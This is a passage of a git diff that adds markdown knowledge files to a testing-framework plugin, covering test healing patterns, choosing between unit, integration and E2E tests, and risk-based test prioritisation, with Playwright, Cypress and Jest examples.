+          { id: 2, name: 'Product B', price: 49.99 },
+        ],
+      }),
+    });
+  });
+
+  await page.goto('/products');
+
+  // Test now reliable (no external API dependency)
+  await expect(page.getByText('Product A')).toBeVisible();
+  await expect(page.getByText('$29.99')).toBeVisible();
+});
+
+test('heal 500 error with error state mocking', async ({ page, context }) => {
+  // Mock API failure scenario
+  await context.route('**/api/products', (route) => {
+    route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+  });
+
+  await page.goto('/products');
+
+  // Verify error handling (not crash)
+  await expect(page.getByText('Unable to load products')).toBeVisible();
+  await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "API call failed", "500 error", or network-related failures
+- Fix: Add `page.route()` or `cy.intercept()` to mock API responses
+- Prevention: Mock ALL external dependencies (APIs, third-party services)
+- Automation: Extract URL from error message, generate route interception code
+
+---
+
+### Example 5: Common Failure Pattern - Hard Waits (Unreliable Timing)
+
+**Context**: Test fails intermittently with "timeout exceeded" or passes/fails randomly
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/hard-wait-healing.ts
+
+/**
+ * Detect hard wait anti-pattern in test code
+ */
+export function detectHardWaits(testCode: string): Array<{ line: number; code: string }> {
+  const lines = testCode.split('\n');
+  const violations: Array<{ line: number; code: string }> = [];
+
+  lines.forEach((line, index) => {
+    if (line.includes('page.waitForTimeout(') || /cy\.wait\(\d+\)/.test(line) || line.includes('sleep(') || line.includes('setTimeout(')) {
+      violations.push({ line: index + 1, code: line.trim() });
+    }
+  });
+
+  return violations;
+}
+
+/**
+ * Suggest event-based wait replacement
+ */
+export function suggestEventBasedWait(hardWaitLine: string): string {
+  if (hardWaitLine.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/') && resp.ok())
+
+// OR wait for element state change
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+await page.getByTestId('content').waitFor({ state: 'visible' })
+    `.trim();
+  }
+
+  if (/cy\.wait\(\d+\)/.test(hardWaitLine)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for aliased request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData') // Deterministic
+    `.trim();
+  }
+
+  return 'Replace hard waits with event-based waits (waitForResponse, waitFor state changes)';
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/hard-wait-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal hard wait with deterministic wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for loading spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // OR wait for specific network response
+  await page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.ok());
+
+  await expect(page.getByText('Dashboard ready')).toBeVisible();
+});
+
+test('heal implicit wait with explicit network wait', async ({ page }) => {
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+
+  // ❌ Original (race condition): await page.getByText('Product A').click()
+
+  // ✅ Healed: Wait for network first
+  await responsePromise;
+  await page.getByText('Product A').click();
+
+  await expect(page).toHaveURL(/\/products\/\d+/);
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Test code contains `page.waitForTimeout()` or `cy.wait(number)`
+- Fix: Replace with `waitForResponse()`, `waitFor({ state })`, or aliased intercepts
+- Prevention: NEVER use hard waits, always use event-based/response-based waits
+- Automation: Scan test code for hard wait patterns, suggest deterministic replacements
+
+---
+
+## Healing Pattern Catalog
+
+| Failure Type   | Diagnostic Signature                          | Healing Strategy                      | Prevention Pattern                        |
+| -------------- | --------------------------------------------- | ------------------------------------- | ----------------------------------------- |
+| Stale Selector | "locator resolved to 0 elements"              | Replace with data-testid or ARIA role | Selector hierarchy (testid > ARIA > text) |
+| Race Condition | "timeout waiting for element"                 | Add network-first interception        | Intercept before navigate                 |
+| Dynamic Data   | "Expected 'User 123' but got 'User 456'"      | Use regex or capture dynamic values   | Never hardcode IDs/timestamps             |
+| Network Error  | "API call failed", "500 error"                | Add route mocking                     | Mock all external dependencies            |
+| Hard Wait      | Test contains `waitForTimeout()` or `wait(n)` | Replace with event-based waits        | Always use deterministic waits            |
+
+## Healing Workflow
+
+1. **Run test** → Capture failure
+2. **Identify pattern** → Match error against diagnostic signatures
+3. **Apply fix** → Use pattern-based healing strategy
+4. **Re-run test** → Validate fix (max 3 iterations)
+5. **Mark unfixable** → Use `test.fixme()` if healing fails after 3 attempts
+
+## Healing Checklist
+
+Before enabling auto-healing in workflows:
+
+- [ ] **Failure catalog documented**: Common patterns identified (selectors, timing, data, network, hard waits)
+- [ ] **Diagnostic signatures defined**: Error message patterns for each failure type
+- [ ] **Healing strategies documented**: Fix patterns for each failure type
+- [ ] **Prevention patterns documented**: Best practices to avoid recurrence
+- [ ] **Healing iteration limit set**: Max 3 attempts before marking test.fixme()
+- [ ] **MCP integration optional**: Graceful degradation without Playwright MCP
+- [ ] **Pattern-based fallback**: Use knowledge base patterns when MCP unavailable
+- [ ] **Healing report generated**: Document what was healed and how
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (auto-healing after test generation), `*atdd` (optional healing for acceptance tests)
+- **Related fragments**: `selector-resilience.md` (selector debugging), `timing-debugging.md` (race condition fixes), `network-first.md` (interception patterns), `data-factories.md` (dynamic data handling)
+- **Tools**: Error message parsing, AST analysis for code patterns, Playwright MCP (optional), pattern matching
+
+_Source: Playwright test-healer patterns, production test failure analysis, common anti-patterns from test-resources-for-ai_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-levels-framework.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-levels-framework.md
new file mode 100644
index 0000000..ed3418a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-levels-framework.md
@@ -0,0 +1,473 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Levels Framework
+
+Comprehensive guide for determining appropriate test levels (unit, integration, E2E) for different scenarios.
+
+## Test Level Decision Matrix
+
+### Unit Tests
+
+**When to use:**
+
+- Testing pure functions and business logic
+- Algorithm correctness
+- Input validation and data transformation
+- Error handling in isolated components
+- Complex calculations or state machines
+
+**Characteristics:**
+
+- Fast execution (immediate feedback)
+- No external dependencies (DB, API, file system)
+- Highly maintainable and stable
+- Easy to debug failures
+
+**Example scenarios:**
+
+```yaml
+unit_test:
+  component: 'PriceCalculator'
+  scenario: 'Calculate discount with multiple rules'
+  justification: 'Complex business logic with multiple branches'
+  mock_requirements: 'None - pure function'
+```
+
+### Integration Tests
+
+**When to use:**
+
+- Component interaction verification
+- Database operations and transactions
+- API endpoint contracts
+- Service-to-service communication
+- Middleware and interceptor behavior
+
+**Characteristics:**
+
+- Moderate execution time
+- Tests component boundaries
+- May use test databases or containers
+- Validates system integration points
+
+**Example scenarios:**
+
+```yaml
+integration_test:
+  components: ['UserService', 'AuthRepository']
+  scenario: 'Create user with role assignment'
+  justification: 'Critical data flow between service and persistence'
+  test_environment: 'In-memory database'
+```
+
+### End-to-End Tests
+
+**When to use:**
+
+- Critical user journeys
+- Cross-system workflows
+- Visual regression testing
+- Compliance and regulatory requirements
+- Final validation before release
+
+**Characteristics:**
+
+- Slower execution
+- Tests complete workflows
+- Requires full environment setup
+- Most realistic but most brittle
+
+**Example scenarios:**
+
+```yaml
+e2e_test:
+  journey: 'Complete checkout process'
+  scenario: 'User purchases with saved payment method'
+  justification: 'Revenue-critical path requiring full validation'
+  environment: 'Staging with test payment gateway'
+```
+
+## Test Level Selection Rules
+
+### Favor Unit Tests When:
+
+- Logic can be isolated
+- No side effects involved
+- Fast feedback needed
+- High cyclomatic complexity
+
+### Favor Integration Tests When:
+
+- Testing persistence layer
+- Validating service contracts
+- Testing middleware/interceptors
+- Component boundaries critical
+
+### Favor E2E Tests When:
+
+- User-facing critical paths
+- Multi-system interactions
+- Regulatory compliance scenarios
+- Visual regression important
+
+## Anti-patterns to Avoid
+
+- E2E testing for business logic validation
+- Unit testing framework behavior
+- Integration testing third-party libraries
+- Duplicate coverage across levels
+
+## Duplicate Coverage Guard
+
+**Before adding any test, check:**
+
+1. Is this already tested at a lower level?
+2. Can a unit test cover this instead of integration?
+3. Can an integration test cover this instead of E2E?
+
+**Coverage overlap is only acceptable when:**
+
+- Testing different aspects (unit: logic, integration: interaction, e2e: user experience)
+- Critical paths requiring defense in depth
+- Regression prevention for previously broken functionality
+
+## Test Naming Conventions
+
+- Unit: `test_{component}_{scenario}`
+- Integration: `test_{flow}_{interaction}`
+- E2E: `test_{journey}_{outcome}`
+
+## Test ID Format
+
+`{EPIC}.{STORY}-{LEVEL}-{SEQ}`
+
+Examples:
+
+- `1.3-UNIT-001`
+- `1.3-INT-002`
+- `1.3-E2E-001`
+
+## Real Code Examples
+
+### Example 1: E2E Test (Full User Journey)
+
+**Scenario**: User logs in, navigates to dashboard, and places an order.
+
+```typescript
+// tests/e2e/checkout-flow.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser, createProduct } from '../test-utils/factories';
+
+test.describe('Checkout Flow', () => {
+  test('user can complete purchase with saved payment method', async ({ page, apiRequest }) => {
+    // Setup: Seed data via API (fast!)
+    const user = createUser({ email: 'buyer@example.com', hasSavedCard: true });
+    const product = createProduct({ name: 'Widget', price: 29.99, stock: 10 });
+
+    await apiRequest.post('/api/users', { data: user });
+    await apiRequest.post('/api/products', { data: product });
+
+    // Network-first: Intercept BEFORE action
+    const loginPromise = page.waitForResponse('**/api/auth/login');
+    const cartPromise = page.waitForResponse('**/api/cart');
+    const orderPromise = page.waitForResponse('**/api/orders');
+
+    // Step 1: Login
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', user.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login-button"]');
+    await loginPromise;
+
+    // Assert: Dashboard visible
+    await expect(page).toHaveURL('/dashboard');
+    await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+
+    // Step 2: Add product to cart
+    await page.goto(`/products/${product.id}`);
+    await page.click('[data-testid="add-to-cart"]');
+    await cartPromise;
+    await expect(page.getByText('Added to cart')).toBeVisible();
+
+    // Step 3: Checkout with saved payment
+    await page.goto('/checkout');
+    await expect(page.getByText('Visa ending in 1234')).toBeVisible(); // Saved card
+    await page.click('[data-testid="use-saved-card"]');
+    await page.click('[data-testid="place-order"]');
+    await orderPromise;
+
+    // Assert: Order confirmation
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+    await expect(page.getByText(/Order #\d+/)).toBeVisible();
+    await expect(page.getByText('$29.99')).toBeVisible();
+  });
+});
+```
+
+**Key Points (E2E)**:
+
+- Tests complete user journey across multiple pages
+- API setup for data (fast), UI for assertions (user-centric)
+- Network-first interception to prevent flakiness
+- Validates critical revenue path end-to-end
+
+### Example 2: Integration Test (API/Service Layer)
+
+**Scenario**: UserService creates user and assigns role via AuthRepository.
+
+```typescript
+// tests/integration/user-service.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser } from '../test-utils/factories';
+
+test.describe('UserService Integration', () => {
+  test('should create user with admin role via API', async ({ request }) => {
+    const userData = createUser({ role: 'admin' });
+
+    // Direct API call (no UI)
+    const response = await request.post('/api/users', {
+      data: userData,
+    });
+
+    expect(response.status()).toBe(201);
+
+    const createdUser = await response.json();
+    expect(createdUser.id).toBeTruthy();
+    expect(createdUser.email).toBe(userData.email);
+    expect(createdUser.role).toBe('admin');
+
+    // Verify database state
+    const getResponse = await request.get(`/api/users/${createdUser.id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const fetchedUser = await getResponse.json();
+    expect(fetchedUser.role).toBe('admin');
+    expect(fetchedUser.permissions).toContain('user:delete');
+    expect(fetchedUser.permissions).toContain('user:update');
+
+    // Cleanup
+    await request.delete(`/api/users/${createdUser.id}`);
+  });
+
+  test('should validate email uniqueness constraint', async ({ request }) => {
+    const userData = createUser({ email: 'duplicate@example.com' });
+
+    // Create first user
+    const response1 = await request.post('/api/users', { data: userData });
+    expect(response1.status()).toBe(201);
+
+    const user1 = await response1.json();
+
+    // Attempt duplicate email
+    const response2 = await request.post('/api/users', { data: userData });
+    expect(response2.status()).toBe(409); // Conflict
+    const error = await response2.json();
+    expect(error.message).toContain('Email already exists');
+
+    // Cleanup
+    await request.delete(`/api/users/${user1.id}`);
+  });
+});
+```
+
+**Key Points (Integration)**:
+
+- Tests service layer + database interaction
+- No UI involved—pure API validation
+- Business logic focus (role assignment, constraints)
+- Faster than E2E, more realistic than unit tests
+
+### Example 3: Component Test (Isolated UI Component)
+
+**Scenario**: Test button component in isolation with props and user interactions.
+
+```typescript
+// src/components/Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with correct label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick handler when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Disabled" disabled={true} />);
+    cy.get('button').should('be.disabled');
+    cy.get('button').should('have.attr', 'aria-disabled', 'true');
+  });
+
+  it('should show loading spinner when loading', () => {
+    cy.mount(<Button label="Loading" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles correctly', () => {
+    cy.mount(<Button label="Primary" variant="primary" />);
+    cy.get('button').should('have.class', 'btn-primary');
+
+    cy.mount(<Button label="Secondary" variant="secondary" />);
+    cy.get('button').should('have.class', 'btn-secondary');
+  });
+});
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick handler when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points (Component)**:
+
+- Tests UI component in isolation (no full app)
+- Props + user interactions + visual states
+- Faster than E2E, more realistic than unit tests for UI
+- Great for design system components
+
+### Example 4: Unit Test (Pure Function)
+
+**Scenario**: Test pure business logic function without framework dependencies.
+
+```typescript
+// src/utils/price-calculator.test.ts (Jest/Vitest)
+import { calculateDiscount, applyTaxes, calculateTotal } from './price-calculator';
+
+describe('PriceCalculator', () => {
+  describe('calculateDiscount', () => {
+    it('should apply percentage discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'percentage', value: 20 });
+      expect(result).toBe(80);
+    });
+
+    it('should apply fixed amount discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'fixed', value: 15 });
+      expect(result).toBe(85);
+    });
+
+    it('should not apply discount below zero', () => {
+      const result = calculateDiscount(10, { type: 'fixed', value: 20 });
+      expect(result).toBe(0);
+    });
+
+    it('should handle no discount', () => {
+      const result = calculateDiscount(100, { type: 'none', value: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('applyTaxes', () => {
+    it('should calculate tax correctly for US', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0.08 });
+      expect(result).toBe(108);
+    });
+
+    it('should calculate tax correctly for EU (VAT)', () => {
+      const result = applyTaxes(100, { country: 'DE', rate: 0.19 });
+      expect(result).toBe(119);
+    });
+
+    it('should handle zero tax rate', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('calculateTotal', () => {
+    it('should calculate total with discount and taxes', () => {
+      const items = [
+        { price: 50, quantity: 2 }, // 100
+        { price: 30, quantity: 1 }, // 30
+      ];
+      const discount = { type: 'percentage', value: 10 }; // -13
+      const tax = { country: 'US', rate: 0.08 }; // +9.36
+
+      const result = calculateTotal(items, discount, tax);
+      expect(result).toBeCloseTo(126.36, 2);
+    });
+
+    it('should handle empty items array', () => {
+      const result = calculateTotal([], { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(0);
+    });
+
+    it('should calculate correctly without discount or tax', () => {
+      const items = [{ price: 25, quantity: 4 }];
+      const result = calculateTotal(items, { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+});
+```
+
+**Key Points (Unit)**:
+
+- Pure function testing—no framework dependencies
+- Fast execution (milliseconds)
+- Edge case coverage (zero, negative, empty inputs)
+- High cyclomatic complexity handled at unit level
+
+## When to Use Which Level
+
+| Scenario               | Unit          | Integration       | E2E           |
+| ---------------------- | ------------- | ----------------- | ------------- |
+| Pure business logic    | ✅ Primary    | ❌ Overkill       | ❌ Overkill   |
+| Database operations    | ❌ Can't test | ✅ Primary        | ❌ Overkill   |
+| API contracts          | ❌ Can't test | ✅ Primary        | ⚠️ Supplement |
+| User journeys          | ❌ Can't test | ❌ Can't test     | ✅ Primary    |
+| Component props/events | ✅ Partial    | ⚠️ Component test | ❌ Overkill   |
+| Visual regression      | ❌ Can't test | ⚠️ Component test | ✅ Primary    |
+| Error handling (logic) | ✅ Primary    | ⚠️ Integration    | ❌ Overkill   |
+| Error handling (UI)    | ❌ Partial    | ⚠️ Component test | ✅ Primary    |
+
+## Anti-Pattern Examples
+
+**❌ BAD: E2E test for business logic**
+
+```typescript
+// DON'T DO THIS
+test('calculate discount via UI', async ({ page }) => {
+  await page.goto('/calculator');
+  await page.fill('[data-testid="price"]', '100');
+  await page.fill('[data-testid="discount"]', '20');
+  await page.click('[data-testid="calculate"]');
+  await expect(page.getByText('$80')).toBeVisible();
+});
+// Problem: Slow, brittle, tests logic that should be unit tested
+```
+
+**✅ GOOD: Unit test for business logic**
+
+```typescript
+test('calculate discount', () => {
+  expect(calculateDiscount(100, 20)).toBe(80);
+});
+// Fast, reliable, isolated
+```
+
+_Source: Murat Testing Philosophy (test pyramid), existing test-levels-framework.md structure._
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-priorities-matrix.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-priorities-matrix.md
new file mode 100644
index 0000000..deb4306
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-priorities-matrix.md
@@ -0,0 +1,373 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Priorities Matrix
+
+Guide for prioritizing test scenarios based on risk, criticality, and business impact.
+
+## Priority Levels
+
+### P0 - Critical (Must Test)
+
+**Criteria:**
+
+- Revenue-impacting functionality
+- Security-critical paths
+- Data integrity operations
+- Regulatory compliance requirements
+- Previously broken functionality (regression prevention)
+
+**Examples:**
+
+- Payment processing
+- Authentication/authorization
+- User data creation/deletion
+- Financial calculations
+- GDPR/privacy compliance
+
+**Testing Requirements:**
+
+- Comprehensive coverage at all levels
+- Both happy and unhappy paths
+- Edge cases and error scenarios
+- Performance under load
+
+### P1 - High (Should Test)
+
+**Criteria:**
+
+- Core user journeys
+- Frequently used features
+- Features with complex logic
+- Integration points between systems
+- Features affecting user experience
+
+**Examples:**
+
+- User registration flow
+- Search functionality
+- Data import/export
+- Notification systems
+- Dashboard displays
+
+**Testing Requirements:**
+
+- Primary happy paths required
+- Key error scenarios
+- Critical edge cases
+- Basic performance validation
+
+### P2 - Medium (Nice to Test)
+
+**Criteria:**
+
+- Secondary features
+- Admin functionality
+- Reporting features
+- Configuration options
+- UI polish and aesthetics
+
+**Examples:**
+
+- Admin settings panels
+- Report generation
+- Theme customization
+- Help documentation
+- Analytics tracking
+
+**Testing Requirements:**
+
+- Happy path coverage
+- Basic error handling
+- Can defer edge cases
+
+### P3 - Low (Test if Time Permits)
+
+**Criteria:**
+
+- Rarely used features
+- Nice-to-have functionality
+- Cosmetic issues
+- Non-critical optimizations
+
+**Examples:**
+
+- Advanced preferences
+- Legacy feature support
+- Experimental features
+- Debug utilities
+
+**Testing Requirements:**
+
+- Smoke tests only
+- Can rely on manual testing
+- Document known limitations
+
+## Risk-Based Priority Adjustments
+
+### Increase Priority When:
+
+- High user impact (affects >50% of users)
+- High financial impact (>$10K potential loss)
+- Security vulnerability potential
+- Compliance/legal requirements
+- Customer-reported issues
+- Complex implementation (>500 LOC)
+- Multiple system dependencies
+
+### Decrease Priority When:
+
+- Feature flag protected
+- Gradual rollout planned
+- Strong monitoring in place
+- Easy rollback capability
+- Low usage metrics
+- Simple implementation
+- Well-isolated component
+
+## Test Coverage by Priority
+
+| Priority | Unit Coverage | Integration Coverage | E2E Coverage       |
+| -------- | ------------- | -------------------- | ------------------ |
+| P0       | >90%          | >80%                 | All critical paths |
+| P1       | >80%          | >60%                 | Main happy paths   |
+| P2       | >60%          | >40%                 | Smoke tests        |
+| P3       | Best effort   | Best effort          | Manual only        |
+
+## Priority Assignment Rules
+
+1. **Start with business impact** - What happens if this fails?
+2. **Consider probability** - How likely is failure?
+3. **Factor in detectability** - Would we know if it failed?
+4. **Account for recoverability** - Can we fix it quickly?
+
+## Priority Decision Tree
+
+```
+Is it revenue-critical?
+├─ YES → P0
+└─ NO → Does it affect core user journey?
+    ├─ YES → Is it high-risk?
+    │   ├─ YES → P0
+    │   └─ NO → P1
+    └─ NO → Is it frequently used?
+        ├─ YES → P1
+        └─ NO → Is it customer-facing?
+            ├─ YES → P2
+            └─ NO → P3
+```
+
+## Test Execution Order
+
+1. Execute P0 tests first (fail fast on critical issues)
+2. Execute P1 tests second (core functionality)
+3. Execute P2 tests if time permits
+4. P3 tests only in full regression cycles
+
+## Continuous Adjustment
+
+Review and adjust priorities based on:
+
+- Production incident patterns
+- User feedback and complaints
+- Usage analytics
+- Test failure history
+- Business priority changes
+
+---
+
+## Automated Priority Classification
+
+### Example: Priority Calculator (Risk-Based Automation)
+
+```typescript
+// src/testing/priority-calculator.ts
+
+export type Priority = 'P0' | 'P1' | 'P2' | 'P3';
+
+export type PriorityFactors = {
+  revenueImpact: 'critical' | 'high' | 'medium' | 'low' | 'none';
+  userImpact: 'all' | 'majority' | 'some' | 'few' | 'minimal';
+  securityRisk: boolean;
+  complianceRequired: boolean;
+  previousFailure: boolean;
+  complexity: 'high' | 'medium' | 'low';
+  usage: 'frequent' | 'regular' | 'occasional' | 'rare';
+};
+
+/**
+ * Calculate test priority based on multiple factors
+ * Mirrors the priority decision tree with objective criteria
+ */
+export function calculatePriority(factors: PriorityFactors): Priority {
+  const { revenueImpact, userImpact, securityRisk, complianceRequired, previousFailure, complexity, usage } = factors;
+
+  // P0: Revenue-critical, security, or compliance
+  if (revenueImpact === 'critical' || securityRisk || complianceRequired || (previousFailure && revenueImpact === 'high')) {
+    return 'P0';
+  }
+
+  // P0: High revenue + high complexity + frequent usage
+  if (revenueImpact === 'high' && complexity === 'high' && usage === 'frequent') {
+    return 'P0';
+  }
+
+  // P1: Core user journey (majority impacted + frequent usage)
+  if (userImpact === 'all' || userImpact === 'majority') {
+    if (usage === 'frequent' || complexity === 'high') {
+      return 'P1';
+    }
+  }
+
+  // P1: High revenue OR high complexity with regular usage
+  if ((revenueImpact === 'high' && usage === 'regular') || (complexity === 'high' && usage === 'frequent')) {
+    return 'P1';
+  }
+
+  // P2: Secondary features (some impact, occasional usage)
+  if (userImpact === 'some' || usage === 'occasional') {
+    return 'P2';
+  }
+
+  // P3: Rarely used, low impact
+  return 'P3';
+}
+
+/**
+ * Generate priority justification (for audit trail)
+ */
+export function justifyPriority(factors: PriorityFactors): string {
+  const priority = calculatePriority(factors);
+  const reasons: string[] = [];
+
+  if (factors.revenueImpact === 'critical') reasons.push('critical revenue impact');
+  if (factors.securityRisk) reasons.push('security-critical');
+  if (factors.complianceRequired) reasons.push('compliance requirement');
+  if (factors.previousFailure) reasons.push('regression prevention');
+  if (factors.userImpact === 'all' || factors.userImpact === 'majority') {
+    reasons.push(`impacts ${factors.userImpact} users`);
+  }
+  if (factors.complexity === 'high') reasons.push('high complexity');
+  if (factors.usage === 'frequent') reasons.push('frequently used');
+
+  return `${priority}: ${reasons.join(', ')}`;
+}
+
+/**
+ * Example: Payment scenario priority calculation
+ */
+const paymentScenario: PriorityFactors = {
+  revenueImpact: 'critical',
+  userImpact: 'all',
+  securityRisk: true,
+  complianceRequired: true,
+  previousFailure: false,
+  complexity: 'high',
+  usage: 'frequent',
+};
+
+console.log(calculatePriority(paymentScenario)); // 'P0'
+console.log(justifyPriority(paymentScenario));
+// 'P0: critical revenue impact, security-critical, compliance requirement, impacts all users, high complexity, frequently used'
+```
+
+### Example: Test Suite Tagging Strategy
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+// Tag tests with priority for selective execution
+test.describe('Checkout Flow', () => {
+  test('valid payment completes successfully @p0 @smoke @revenue', async ({ page }) => {
+    // P0: Revenue-critical happy path
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Order confirmed')).toBeVisible();
+  });
+
+  test('expired card shows user-friendly error @p1 @error-handling', async ({ page }) => {
+    // P1: Core error scenario (frequent user impact)
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4000000000000069'); // Test card: expired
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Card expired. Please use a different card.')).toBeVisible();
+  });
+
+  test('coupon code applies discount correctly @p2', async ({ page }) => {
+    // P2: Secondary feature (nice-to-have)
+    await page.goto('/checkout');
+    await page.getByTestId('coupon-code').fill('SAVE10');
+    await page.getByRole('button', { name: 'Apply' }).click();
+
+    await expect(page.getByText('10% discount applied')).toBeVisible();
+  });
+
+  test('gift message formatting preserved @p3', async ({ page }) => {
+    // P3: Cosmetic feature (rarely used)
+    await page.goto('/checkout');
+    await page.getByTestId('gift-message').fill('Happy Birthday!\n\nWith love.');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Message formatting preserved (linebreaks intact)
+    await expect(page.getByTestId('order-summary')).toContainText('Happy Birthday!');
+  });
+});
+```
+
+**Run tests by priority:**
+
+```bash
+# P0 only (smoke tests, 2-5 min)
+npx playwright test --grep @p0
+
+# P0 + P1 (core functionality, 10-15 min)
+npx playwright test --grep "@p0|@p1"
+
+# Full regression (all priorities, 30+ min)
+npx playwright test
+```
+
+---
+
+## Integration with Risk Scoring
+
+Priority should align with risk score from `probability-impact.md`:
+
+| Risk Score | Typical Priority | Rationale                                  |
+| ---------- | ---------------- | ------------------------------------------ |
+| 9          | P0               | Critical blocker (probability=3, impact=3) |
+| 6-8        | P0 or P1         | High risk (requires mitigation)            |
+| 4-5        | P1 or P2         | Medium risk (monitor closely)              |
+| 1-3        | P2 or P3         | Low risk (document and defer)              |
+
+**Example**: Risk score 9 (checkout API failure) → P0 priority → comprehensive coverage required.
+
+---
+
+## Priority Checklist
+
+Before finalizing test priorities:
+
+- [ ] **Revenue impact assessed**: Payment, subscription, billing features → P0
+- [ ] **Security risks identified**: Auth, data exposure, injection attacks → P0
+- [ ] **Compliance requirements documented**: GDPR, PCI-DSS, SOC2 → P0
+- [ ] **User impact quantified**: >50% users → P0/P1, <10% → P2/P3
+- [ ] **Previous failures reviewed**: Regression prevention → increase priority
+- [ ] **Complexity evaluated**: >500 LOC or multiple dependencies → increase priority
+- [ ] **Usage metrics consulted**: Frequent use → P0/P1, rare use → P2/P3
+- [ ] **Monitoring coverage confirmed**: Strong monitoring → can decrease priority
+- [ ] **Rollback capability verified**: Easy rollback → can decrease priority
+- [ ] **Priorities tagged in tests**: @p0, @p1, @p2, @p3 for selective execution
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (priority-based test generation), `*test-design` (scenario prioritization), `*trace` (coverage validation by priority)
+- **Related fragments**: `risk-governance.md` (risk scoring), `probability-impact.md` (impact assessment), `selective-testing.md` (tag-based execution)
+- **Tools**: Playwright/Cypress grep for tag filtering, CI scripts for priority-based execution
+
+_Source: Risk-based testing practices, test prioritization strategies, production incident analysis_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-quality.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-quality.md
new file mode 100644
index 0000000..ab62d91
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-quality.md
@@ -0,0 +1,664 @@
+# Test Quality Definition of Done
+
+## Principle
+
+Tests must be deterministic, isolated, explicit, focused, and fast. Every test should execute in under 1.5 minutes, contain fewer than 300 lines, avoid hard waits and conditionals, keep assertions visible in test bodies, and clean up after itself for parallel execution.
+
+## Rationale
+
+Quality tests provide reliable signal about application health. Flaky tests erode confidence and waste engineering time. Tests that use hard waits (`waitForTimeout(3000)`) are non-deterministic and slow. Tests with hidden assertions or conditional logic become unmaintainable. Large tests (>300 lines) are hard to understand and debug. Slow tests (>1.5 min) block CI pipelines. Self-cleaning tests prevent state pollution in parallel runs.
+
+## Pattern Examples
+
+### Example 1: Deterministic Test Pattern
+
